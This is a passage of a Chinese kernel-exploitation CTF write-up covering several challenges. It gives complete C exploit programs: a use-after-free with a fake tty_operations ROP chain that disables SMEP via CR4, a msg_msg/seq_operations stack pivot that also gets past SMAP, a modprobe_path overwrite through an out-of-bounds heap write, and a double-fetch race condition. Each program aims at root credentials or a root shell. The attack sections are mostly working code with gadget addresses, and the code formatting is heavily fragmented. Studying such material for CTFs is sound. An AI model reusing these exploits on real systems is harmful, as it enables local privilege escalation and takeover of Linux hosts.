close)(struct tty_struct
*
tty, struct
file
*
filp);
void (
*
shutdown)(struct tty_struct
*
tty);
void (
*
cleanup)(struct tty_struct
*
tty);
int
(
*
write)(struct tty_struct
*
tty,
const unsigned char
*
buf,
int
count);
int
(
*
put_char)(struct tty_struct
*
tty, unsigned char ch);
void (
*
flush_chars)(struct tty_struct
*
tty);
int
(
*
write_room)(struct tty_struct
*
tty);
int
(
*
chars_in_buffer)(struct tty_struct
*
tty);
int
(
*
ioctl)(struct tty_struct
*
tty,
unsigned
int
cmd, unsigned
long
arg);
long
(
*
compat_ioctl)(struct tty_struct
*
tty,
unsigned
int
cmd, unsigned
long
arg);
void (
*
set_termios)(struct tty_struct
*
tty, struct ktermios
*
old);
void (
*
throttle)(struct tty_struct
*
tty);
void (
*
unthrottle)(struct tty_struct
*
tty);
void (
*
stop)(struct tty_struct
*
tty);
void (
*
start)(struct tty_struct
*
tty);
void (
*
hangup)(struct tty_struct
*
tty);
int
(
*
break_ctl)(struct tty_struct
*
tty,
int
state);
void (
*
flush_buffer)(struct tty_struct
*
tty);
void (
*
set_ldisc)(struct tty_struct
*
tty);
void (
*
wait_until_sent)(struct tty_struct
*
tty,
int
timeout);
void (
*
send_xchar)(struct tty_struct
*
tty, char ch);
int
(
*
tiocmget)(struct tty_struct
*
tty);
int
(
*
tiocmset)(struct tty_struct
*
tty,
unsigned
int
set
, unsigned
int
clear);
int
(
*
resize)(struct tty_struct
*
tty, struct winsize
*
ws);
int
(
*
set_termiox)(struct tty_struct
*
tty, struct termiox
*
tnew);
int
(
*
get_icount)(struct tty_struct
*
tty,
struct serial_icounter_struct
*
icount);
void (
*
show_fdinfo)(struct tty_struct
*
tty, struct seq_file
*
m);
#ifdef CONFIG_CONSOLE_POLL
int
(
*
poll_init)(struct tty_driver
*
driver,
int
line, char
*
options);
int
(
*
poll_get_char)(struct tty_driver
*
driver,
int
line);
void (
*
poll_put_char)(struct tty_driver
*
driver,
int
line, char ch);
#endif
int
(
*
proc_show)(struct seq_file
*
, void
*
);
} __randomize_layout;
|
在tty_struct
中有const struct tty_operations *ops;
因此如果可以伪造出一个tty_struct
,使它的*ops
指向一个伪造出来的tty_operation
,即可利用write
和ioctl
这些函数来劫持程序执行流程。
由于不熟悉结构体,我这里是先把tty_operation的内容布置成了比较有规律的样子,然后利用报错计算偏移
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
size_t fake_tty_operation[
0x20
]
=
{
0xffffffff00000000
,
0xffffffff00000001
,
0xffffffff00000002
,
0xffffffff00000003
,
0xffffffff00000004
,
0xffffffff00000005
,
0xffffffff00000006
,
0xffffffff00000007
,
0xffffffff00000008
,
0xffffffff00000009
,
0xffffffff0000000a
,
0xffffffff0000000b
,
0xffffffff0000000c
};
|
一闪而过的报错中,可以看出来babywrite是被劫持到了tty_operation[7]
这个位置,所以直接从这里开始劫持控制流。(后面发现,只要在启动脚本中加一句-no-reboot
就不用担心看不见报错了,泪目)
想要完成内核rop,此时肯定需要控制一下rsp的位置,有一个比较好用的gadget:
1
2
|
0xffffffff8181bfc5
: mov rsp, rax; dec ebx; jmp
0xffffffff8181bf7e
;
0xffffffff8181bf7e
: ret;
|
经过调试,发现此时rax的值刚好是这个tty_operation
结构体的首地址
所以此时有两个思路:
1
2
|
1.
复用一次
0xffffffff8181bfc5
这里的gadget,把rsp劫持到用户态的rop那里去
2.
直接在tty_operation里rop,但是要注意一下绕过tty_operation[
7
]
|
不管用哪个,最终都能成功劫持程序流完成ret2usr。(由于一些原因,我还是选择了第二种方式)
不过有一个问题,使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0
这样的报错,<del>所以需要换内核版本运行,这里就不过多讨论了。</del>
查了一些资料过后,发现很可能是PTI
保护机制的问题,在尝试关闭PTI
无果之后,发现其实可以通过对特定signal
的处理来继续完成利用,比如说PTI
机制这里会抛出的11号信号,给他处理成get_root_shell
这个函数就行了,因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))
的操作。
(本来想用swapgs_restore_regs_and_return_to_usermode
的,不过这个题内核版本太老了,貌似还并没有引进这个函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status(){
__asm__(
"mov usr_cs, cs;"
"pushf;"
"pop usr_rflags;"
"mov usr_rsp, rsp;"
"mov usr_ss, ss;"
);
}
void get_root(){
char
*
(
*
pkc)(
int
)
=
0xffffffff810a1810
;
/
/
prepare_kernel_cred;
void
*
(
*
cc)(char
*
)
=
0xffffffff810a1420
;
/
/
commit_creds;
(
*
cc)((
*
pkc)(
0
));
}
void get_root_shell(){
if
(getuid()!
=
0
){
puts(
"[-] get root failed."
);
exit(
-
1
);
}
system(
"/bin/sh"
);
}
int
main(){
save_status();
signal(
11
, (size_t)get_root_shell);
int
fd1
=
open
(
"/dev/babydev"
, O_RDWR);
int
fd2
=
open
(
"/dev/babydev"
, O_RDWR);
ioctl(fd1,
0x10001
,
0x2e0
);
close(fd1);
/
/
uaf
size_t rop[
0x30
]
=
{
0
};
int
i
=
0
;
rop[i
+
+
]
=
0xffffffff810d238d
;
/
/
pop rdi; ret;
rop[i
+
+
]
=
0x6f0
;
/
/
bypass smep
rop[i
+
+
]
=
0xffffffff81004d80
;
/
/
mov cr4, rdi; pop rbp; ret;
rop[i
+
+
]
=
0
;
rop[i
+
+
]
=
(size_t)get_root;
/
/
ret2usr
rop[i
+
+
]
=
0xffffffff81063694
;
/
/
swapgs; pop rbp; ret;
rop[i
+
+
]
=
0
;
rop[i
+
+
]
=
0xffffffff814e35ef
;
/
/
iretq; ret;
rop[i
+
+
]
=
(size_t)get_root_shell;
/
/
rip
rop[i
+
+
]
=
usr_cs;
rop[i
+
+
]
=
usr_rflags;
rop[i
+
+
]
=
usr_rsp;
rop[i
+
+
]
=
usr_ss;
int
fd3
=
open
(
"/dev/ptmx"
, O_RDWR|O_NOCTTY);
size_t fake_tty_operation[
0x20
]
=
{
0xffffffff00000000
,
0xffffffff00000001
,
0xffffffff00000002
,
0xffffffff00000003
,
0xffffffff00000004
,
0xffffffff00000005
,
0xffffffff00000006
,
0xffffffff00000007
,
0xffffffff00000008
,
0xffffffff00000009
,
0xffffffff0000000a
,
0xffffffff0000000b
,
0xffffffff0000000c
};
/
*
fake_tty_operation[
0
]
=
0xffffffff8100ce6e
;
/
/
pop rax; ret;
fake_tty_operation[
1
]
=
rop[
0
];
for
(
int
j
=
2
;j<
5
;j
+
+
)
fake_tty_operation[j]
=
0xffffffff8100ce6f
;
/
/
ret;
fake_tty_operation[
5
]
=
0xffffffff8105c144
;
/
/
pop rbx; ret;
fake_tty_operation[
6
]
=
0xffff880006f31c00
;
*
/
for
(
int
j
=
0
;j<
5
;j
+
+
)
fake_tty_operation[j]
=
rop[j];
fake_tty_operation[
5
]
=
0xffffffff8100ce6f
;
/
/
ret;
for
(
int
j
=
6
;j<
14
;j
+
+
)
fake_tty_operation[j]
=
rop[j
-
1
];
fake_tty_operation[
7
]
=
0xffffffff8181bfc5
;
/
/
mov rsp, rax; dec ebx; ret;
size_t fake_tty_struct[
4
]
=
{
0
};
read(fd2, fake_tty_struct,
32
);
fake_tty_struct[
3
]
=
(size_t)fake_tty_operation;
/
/
hijack
*
ops
write(fd2, fake_tty_struct,
32
);
char buf[
0x10
]
=
{
0
};
write(fd3, buf,
0x8
);
/
/
tty_operation
-
> write
return
0
;
}
|
大多数情况下,smep和smap都是同时出现的,那么之前那个攻击方式就有欠缺了些许味道(毕竟伪造的tty_operation还是位于用户态,所以并不能抗住smap这个机制)
所以我又脑子一热,将启动脚本修改如下(加入了smap)
1
2
3
4
5
6
7
|
qemu
-
system
-
x86_64 \
-
initrd rootfs.cpio \
-
kernel bzImage \
-
append
'console=ttyS0 root=/dev/ram nopti oops=panic panic=1'
\
-
enable
-
kvm
-
monitor
/
dev
/
null
-
m
256M
-
-
nographic
-
smp cores
=
1
,threads
=
1
-
cpu kvm64,
+
smep,
+
smap \
-
no
-
reboot \
-
s
|
思路其实和之前差不多,利用某些方式劫持到程序流之后栈迁到rop就行,只不过rop需要想办法构造在DMA区域中了。
为了学习尽可能多的trick,我使用了一种比较曲折的方式来达成利用((((
过程可以大致分为以下几步:
msg_msg
结构体(前0x1000的msg_msg
内容任意,后面挂着的0x100的msg_msgseg
用于布置rop),利用uaf leak出msg_msg
中指向msg_msgseg
的指针,得到rop地址。/proc/self/stat
创建出seq_file
,uaf捕获到seq_operations
。这样就能利用read(seq_fd, $rsp, 8)
触发seq_operations->start
指针的任意执行了。add rsp, val
这类gadgets来让rsp走到pt_regs
中,从而再利用pop rsp; ret
这样的gadget实现栈迁移(由于没有找到合适的一次性把rsp add到pt_regs的gadget,所以在exp使用了二段跳)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
|
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
#include <errno.h>
int
dev_fd[
2
], seq_fd;
const char
*
dev_name
=
"/dev/babydev"
;
size_t commit_creds
=
0xffffffff810a1420
;
size_t prepare_kernel_cred
=
0xffffffff810a1810
;
size_t rop_addr;
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status()
{
__asm__(
"mov usr_cs, cs;"
"pushf;"
"pop usr_rflags;"
"mov usr_rsp, rsp;"
"mov usr_ss, ss;"
);
}
void get_root()
{
char
*
(
*
pkc)(
int
)
=
prepare_kernel_cred;
void
*
(
*
cc)(char
*
)
=
commit_creds;
(
*
cc)((
*
pkc)(
0
));
}
void get_root_shell()
{
if
(getuid()!
=
0
) {
puts(
"[-] get root failed."
);
exit(
-
1
);
}
system(
"/bin/sh"
);
}
void build_rop(size_t
*
rop,
int
offset)
{
int
i
=
offset;
rop[i
+
+
]
=
0xffffffff810d238d
;
/
/
pop rdi; ret;
rop[i
+
+
]
=
0x6f0
;
/
/
bypass smep&smap
rop[i
+
+
]
=
0xffffffff81004d80
;
/
/
mov cr4, rdi; pop rbp; ret;
rop[i
+
+
]
=
0
;
rop[i
+
+
]
=
(size_t)get_root;
/
/
ret2usr
rop[i
+
+
]
=
0xffffffff81063694
;
/
/
swapgs; pop rbp; ret;
rop[i
+
+
]
=
((size_t)&i);
rop[i
+
+
]
=
0xffffffff814e35ef
;
/
/
iretq; ret;
rop[i
+
+
]
=
(size_t)get_root_shell;
/
/
rip
rop[i
+
+
]
=
usr_cs;
rop[i
+
+
]
=
usr_rflags;
rop[i
+
+
]
=
usr_rsp;
rop[i
+
+
]
=
usr_ss;
}
int
getMsgQueue(void)
{
return
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
}
int
readMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);
}
int
writeMsg(
int
msqid, void
*
msgp, size_t msgsz)
{
return
msgsnd(msqid, msgp, msgsz,
0
);
}
int
main()
{
save_status();
signal(
11
, (size_t)get_root_shell);
int
qid
=
getMsgQueue();
if
(qid
=
=
-
1
) {
fprintf(stderr,
"[-] msg_queue\n"
);
exit(
-
1
);
}
dev_fd[
0
]
=
open
(dev_name, O_RDWR);
if
(dev_fd[
0
]
=
=
-
1
) {
fprintf(stderr,
"[-] open %s failed.(1)\n"
, dev_name);
exit(
-
1
);
}
dev_fd[
1
]
=
open
(dev_name, O_RDWR);
if
(dev_fd[
1
]
=
=
-
1
) {
fprintf(stderr,
"[-] open %s failed.(2)\n"
, dev_name);
exit(
-
1
);
}
char
*
buffer_send
=
malloc(
0x4000
);
char
*
buffer_recv
=
malloc(
0x4000
);
memset(buffer_send,
0x61
,
0x4000
);
build_rop((size_t
*
)buffer_send, ((
0x1000
-
0x30
)>>
3
)
+
1
);
ioctl(dev_fd[
0
],
0x10001
,
0x1000
);
close(dev_fd[
0
]);
int
cnt
=
1
;
for
(
int
i
=
0
; i < cnt;
+
+
i) {
if
(writeMsg(qid, buffer_send,
0x1100
-
0x38
) <
0
)
fprintf(stderr,
"[-] msg_msg\n"
);
else
puts(
"[+] msg_msg\n"
);
}
read(dev_fd[
1
], buffer_recv,
0x40
);
puts(
"\nPartial leak:"
);
for
(
int
i
=
0
; i <
8
; ) {
printf(
"[+] %016lx %016lx\n"
, ((size_t
*
)buffer_recv)[i], ((size_t
*
)buffer_recv)[i
+
1
]);
i
+
=
2
;
}
rop_addr
=
((size_t
*
)buffer_recv)[
4
]
+
0x8
;
printf(
"[+] rop_addr: 0x%lx\n"
, rop_addr);
printf(
"[+] buffer_send: 0x%lx\n"
, buffer_send);
dev_fd[
0
]
=
open
(dev_name, O_RDWR);
if
(dev_fd[
0
]
=
=
-
1
) {
fprintf(stderr,
"[-] open %s failed.(3)\n"
, dev_name);
exit(
-
1
);
}
ioctl(dev_fd[
0
],
0x10001
,
0x18
);
close(dev_fd[
0
]);
seq_fd
=
open
(
"/proc/self/stat"
, O_RDONLY);
if
(seq_fd
=
=
-
1
) {
puts(
"[-] failed in opening seq_fd."
);
exit(
-
1
);
}
/
/
getchar();
size_t ptr
=
0xffffffff8151a3a5
;
/
/
add rsp,
0x148
; pop rbx; pop r12; pop r13; pop rbp; ret;
write(dev_fd[
1
], (char
*
)&ptr,
0x8
);
__asm__(
"mov r15, 0xffffffff8100006f;"
/
/
ret;
"mov r14, 0xffffffff81183478;"
/
/
add rsp,
0x40
; pop rbx; pop rbp; ret;
"mov r13, 0xffffffff8100006f;"
"mov r12, 0xffffffff8100006f;"
"mov rbp, 0xffffffff8100006f;"
"mov rbx, 0xffffffff8100006f;"
"mov r11, 0xffffffff8100006f;"
"mov r10, 0xffffffff8100006f;"
"mov r9, 0xffffffff81171045;"
/
/
pop rsp; ret;
"mov r8, rop_addr;"
"xor rax, rax;"
"xor rdi, rdi;"
"mov rcx, 0xdeadbeef;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
/
/
read(seq_fd, $rsp,
8
);
);
/
/
getchar();
return
0
;
}
|
他和poweroff_cmd
, uevent_helper
, ocfs2_hb_ctl_path
, nfs_cache_getent_prog
, cltrack_prog
这些变量类似,都是call_usermodehelper
类型的trick。
只需要劫持一个字符串,就能用root权限执行任意命令(但是这个命令往往是不可以交互的)
以modprobe_path
为例在劫持了对应字符串为/tmp/a.sh
之后,只需要运行一个非正确的ELF文件即可触发
1
2
3
4
5
|
system(
"echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy"
);
system(
"echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/a.sh"
);
system(
"chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh"
);
system(
"/tmp/dummy"
);
|
checksec只开了NX
关键函数如下,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
__int64 procfile_open()
{
_QWORD
*
v0;
/
/
rax
_fentry__();
v0
=
(_QWORD
*
)kmem_cache_alloc_trace(kmalloc_caches[
10
],
3264LL
,
1024LL
);
*
v0
=
v0;
procfs_buffer
=
(__int64)v0;
return
_x86_return_thunk(
0LL
,
0LL
,
0LL
);
}
__int64 __fastcall procfile_write(__int64 a1, __int64 a2)
{
_fentry__();
if
( !copy_from_user(&request_t, a2,
16LL
) )
*
(_QWORD
*
)(procfs_buffer
+
*
(&request_t
+
1
))
=
request_t;
return
_x86_return_thunk(
0LL
,
0LL
,
0LL
);
}
__int64 __fastcall procfile_read(__int64 a1, __int64 a2)
{
_fentry__();
if
( !copy_from_user(&request_t, a2,
16LL
) )
{
request_t
=
*
(_QWORD
*
)(procfs_buffer
+
*
(&request_t
+
1
));
copy_to_user(a2, &request_t,
16LL
);
}
return
_x86_return_thunk(
0LL
,
0LL
,
0LL
);
}
|
非常直观的dma中越界读写漏洞(值得一提的是,越界的地址范围多达8字节,这已经可以任意位置读写了)
不难想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path
达成利用。
在leak的时候我使用的方法是
msg_msg
和msg_msgseg
,在一个msg_queue
上挂着0x400的msg_msg
,指向0x1000的msg_msg
,再指向0x20的msg_msgseg
。然后再开一个shm_file_data
(0x20)。procfs_buffer
附近4个内存页中搜索0x400的msg_msg
,从他的双链表找到0x1000的msg_msg
的位置,再通过0x1000的msg_msg
leak出0x20的msg_msgseg
的地址。shm_file_data
,从而得到kernel的text段地址,计算出modprobe_path
的位置,达成利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
|
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
size_t buf[
2
];
int
fd1, fd2;
void read_from_heap(
int
fd, size_t offset) {
buf[
1
]
=
offset;
read(fd, buf,
0x10
);
}
void write_to_heap(
int
fd, size_t value, size_t offset) {
buf[
0
]
=
value;
buf[
1
]
=
offset;
write(fd, buf, offset);
}
int
main() {
fd1
=
open
(
"/proc/vuln"
, O_RDWR);
if
(fd1
=
=
-
1
) {
printf(
"[-] open device error.\n"
);
exit(
-
1
);
}
printf(
"[+] fd: %d\n"
, fd1);
read_from_heap(fd1,
0
);
uint64_t procfs_buffer
=
buf[
0
];
printf(
"[+] buffer addr: %lx\n"
, procfs_buffer);
char
*
buffer
=
malloc(
0x4000
);
memset(
buffer
,
0x61
,
0x400
);
int
qid
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
msgsnd(qid,
buffer
,
0x400
-
0x30
,
0
);
memset(
buffer
,
0x62
,
0x2000
);
msgsnd(qid,
buffer
,
0x1020
-
0x38
,
0
);
/
/
0x1000
+
0x20
int
shmid
=
shmget(IPC_PRIVATE,
100
,
0600
);
/
/
0x20
-
> shm_file_data
-
> leak
if
(shmid
=
=
-
1
) {
puts(
"[-] shmget error!"
);
exit(
-
1
);
}
char
*
shaddr
=
shmat(shmid, NULL,
0
);
if
(shaddr
=
=
(void
*
)
-
1
) {
puts(
"[-] shmattr error!"
);
exit(
-
1
);
}
/
/
search msg_msg (
0x400
)
in
recent
4
pages
int
cur
=
-
0x2000
, tail
=
0x2000
;
uint64_t msg_msg_1024
=
0
;
for
(; cur <
=
tail; cur
+
=
0x10
) {
read_from_heap(fd1, cur);
/
/
printf(
"%016lx %016lx\n"
, buf[
0
], buf[
1
]);
if
(buf[
0
]
=
=
0x6161616161616161
) {
read_from_heap(fd1, cur
-
0x10
);
msg_msg_1024
=
buf[
0
];
printf(
"[+] msg_msg_1024: %lx\n"
, msg_msg_1024);
break
;
}
}
if
(!msg_msg_1024) {
puts(
"[-] failed in searching msg_msg_1024"
);
exit(
-
1
);
}
read_from_heap(fd1, msg_msg_1024
+
0x20
-
procfs_buffer);
uint64_t msg_msgseg
=
buf[
0
];
printf(
"[+] msg_msgseg: %lx\n"
, msg_msgseg);
/
/
search shm_file_data
in
recent
3
pages
cur
=
msg_msgseg
-
procfs_buffer
-
0x1008
, tail
=
cur
+
0x2008
;
uint64_t leak_kernel_addr
=
0
;
for
(; cur <
=
tail; cur
+
=
0x10
) {
read_from_heap(fd1, cur);
/
/
printf(
"[+] %016lx\n"
, buf[
0
]);
if
(buf[
0
]>
0xffffffff00000000
) {
leak_kernel_addr
=
buf[
0
];
printf(
"[+] leak_kernel_addr: %lx\n"
, leak_kernel_addr);
break
;
}
}
if
(!leak_kernel_addr) {
puts(
"[-] failed in searching leak"
);
exit(
-
1
);
}
uint64_t modprobe_path
=
leak_kernel_addr
-
0x1da1a0
;
printf(
"[+] modprobe_path: %lx\n"
, modprobe_path);
/
/
hijack modprobe_path
write_to_heap(fd1,
0x0061612f706d742f
, modprobe_path
-
procfs_buffer);
system(
"echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy"
);
system(
"echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/aa"
);
system(
"chmod 777 /tmp/dummy; chmod 777 /tmp/aa"
);
system(
"/tmp/dummy"
);
getchar();
return
0
;
}
|
这个属于条件竞争类的利用,在某些时候kernel第一次拿到一个值,判断合法之后,距离使用还存在一定的窗口期,在这个期间利用条件竞争漏洞修改掉那个值,即可达成恶意目的。
baby_ioctl
的本意就是让你传一个地址和长度,如果和内核中flag的内容一致的话,就可以直接打印出flag了,而且在传参数0x6666的时候会直接白给内核态中真flag的地址。
不过在函数_chk_range_not_ok
里限制了我们传入的flag必须在用户态的空间之内。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
bool
__fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool
v3;
/
/
cf
unsigned __int64 v4;
/
/
rdi
bool
result;
/
/
al
v3
=
__CFADD__(a2, a1);
v4
=
a2
+
a1;
if
( v3 )
result
=
1
;
else
result
=
a3 < v4;
return
result;
}
__int64 __fastcall sub_25(__int64 a1,
int
a2, __int64 a3)
{
__int64 result;
/
/
rax
int
i;
/
/
[rsp
+
1Ch
] [rbp
-
54h
]
if
( a2
=
=
0x6666
)
{
printk(
"Your flag is at %px! But I don't think you know it's content\n"
, flag);
result
=
0LL
;
}
else
if
( a2
=
=
0x1337
&& !_chk_range_not_ok(a3,
16LL
,
*
(_QWORD
*
)(__readgsqword((unsigned
int
)¤t_task)
+
4952
))
&& !_chk_range_not_ok(
*
(_QWORD
*
)a3,
*
(
int
*
)(a3
+
8
),
*
(_QWORD
*
)(__readgsqword((unsigned
int
)¤t_task)
+
4952
))
&&
*
(_DWORD
*
)(a3
+
8
)
=
=
strlen(flag) )
{
for
( i
=
0
; i < strlen(flag);
+
+
i )
{
if
(
*
(_BYTE
*
)(
*
(_QWORD
*
)a3
+
i) !
=
flag[i] )
return
22LL
;
}
printk(
"Looks like the flag is not a secret anymore. So here is it %s\n"
, flag);
result
=
0LL
;
}
else
{
result
=
14LL
;
}
return
result;
}
__int64 baby_ioctl()
{
_fentry__();
return
sub_25();
}
|
一看启动脚本
1
2
3
4
5
6
7
8
|
qemu
-
system
-
x86_64 \
-
m
256M
-
smp
2
,cores
=
2
,threads
=
1
\
-
kernel .
/
vmlinuz
-
4.15
.
0
-
22
-
generic \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet"
\
-
cpu qemu64 \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic
-
enable
-
kvm \
|
双核,可能存在条件竞争类漏洞。
联想到double fetch的思路,可以尝试在传入flag地址,通过_chk_range_not_ok
的检查之后用子线程修改掉传入的flag地址为真正的flag地址,从而让他直接打印出flag。
(也有一种魔鬼思路是利用mmap开出一块地址,然后将猜测的flag放在mmap这块空间的末位,然后利用是否造成kernel pannic来逐步爆破flag,最多只需要爆破2k+次就能成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#define COMPETATION_TIME 0x1000
pthread_t competation_thread;
char buf[
0x1000
];
uint32_t attack
=
1
;
char
*
real_addr;
struct {
char
*
flag_addr;
uint32_t flag_len;
} flag
=
{.flag_addr
=
buf, .flag_len
=
33
};
void race_condition() {
while
(attack) {
for
(
int
i
=
0
; i < COMPETATION_TIME;
+
+
i) {
flag.flag_addr
=
real_addr;
}
}
}
int
main() {
int
fd, addr_fd, result_fd;
fd
=
open
(
"/dev/baby"
, O_RDWR);
ioctl(fd,
0x6666
);
system(
"dmesg | grep flag >./addr"
);
addr_fd
=
open
(
"./addr"
, O_RDONLY);
buf[read(addr_fd, buf,
0x100
)]
=
'\x00'
;
char
*
leak_flag_addr
=
strstr(buf,
"Your flag is at "
)
+
0x10
;
real_addr
=
strtoull(leak_flag_addr, leak_flag_addr
+
0x10
,
0x10
);
printf(
"\033[34m[+]flag addr: 0x%llx\033[m\n"
, real_addr);
pthread_create(&competation_thread, NULL, race_condition, NULL);
while
(attack) {
for
(
int
i
=
0
; i < COMPETATION_TIME;
+
+
i) {
flag.flag_addr
=
buf;
ioctl(fd,
0x1337
, &flag);
}
system(
"dmesg | grep flag >./result"
);
result_fd
=
open
(
"./result"
, O_RDONLY);
read(result_fd, buf,
0x100
);
if
(strstr(buf,
"flag{"
)) {
attack
=
0
;
}
}
pthread_cancel(competation_thread);
puts(
"\033[34m[+]success!\033[m"
);
system(
"dmesg | grep flag"
);
return
0
;
}
|
更多【Kernel PWN从入门到提升】相关视频教程:www.yxfzedu.com